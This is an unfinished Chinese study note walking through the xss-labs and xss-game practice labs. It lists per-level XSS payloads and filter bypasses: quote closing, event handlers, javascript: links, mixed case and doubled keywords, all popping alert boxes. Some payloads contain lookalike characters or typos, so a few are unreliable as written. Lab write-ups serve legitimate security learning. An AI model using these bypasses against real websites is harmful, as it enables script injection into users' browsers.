明天再更新:
使用靶场:xss-labs、https://xss-game.appspot.com
XSS可能出现的地方:
- url的地址栏:
- 搜索框:
- 留言板:
绕过方法:
- 换标签
<a href >
、 - 闭合双引号、
- 大小写绕过、
- 双写关键字、
- 构造事件(onclick).
靶场:xss-labs
位置一:URL里
位置二:搜索框中
html属性中作为值;绕过方法:闭合。
"><script>alert(1)</script>
位置三:搜索框中
如下图:'<script>alert(1)</script>'
其中单引号被替换成双引号,特殊字符也被实体编码了。
特殊字符被过滤,但不对单引号转义,因此利用单引号闭合加构造事件。
'οnclick='alert(1)''
或者
'οnfοcus=alert('xss') >//
位置四:搜索框
尖括号被过滤了,所有考虑事件触发,用双引号闭合value属性。
"οnclick='alert(1)'" 或者:"οnfοcus='alert(1)'"
"οnfοcus=javascript:alert('xss') " // 或者"οnclick=javascript:alert('xss') " //
位置五:
特殊字符被替代,换标签继续:
"><a href=jiavascript:alert('1')>2</a>//
">:闭合前面标签。
<a href=javascript:alert('1')>2</a>:点击数字2,跳转到href执行弹窗命令。
//:注释后面的“>。
位置六:搜索框
关键字过滤了:href、script、on
大小写绕过:"oNclick='alert(1)'"
使用双引号进行闭合。
"oNclick='alert(1)'"
或者"Onclick=javascript:alert('xss') " //
或者 "> <a HrEf=javascript:alert('xss') > xss</a> //
位置七:搜索框
关键字被删除,尝试双写
"onοnclick=javascript:alert('xss') " //
靶场:https://xss-game.appspot.com/
第一关:地址栏中:<script>alert(1)</script>
也可以使用反斜号绕过,遇到“()”被屏蔽时可以使用这种方式。${String}这是ES6新增的模板字符串方法新特性。
第二关:发布帖子:
<a href=javascript:alert(1)>xss</a>
第三关: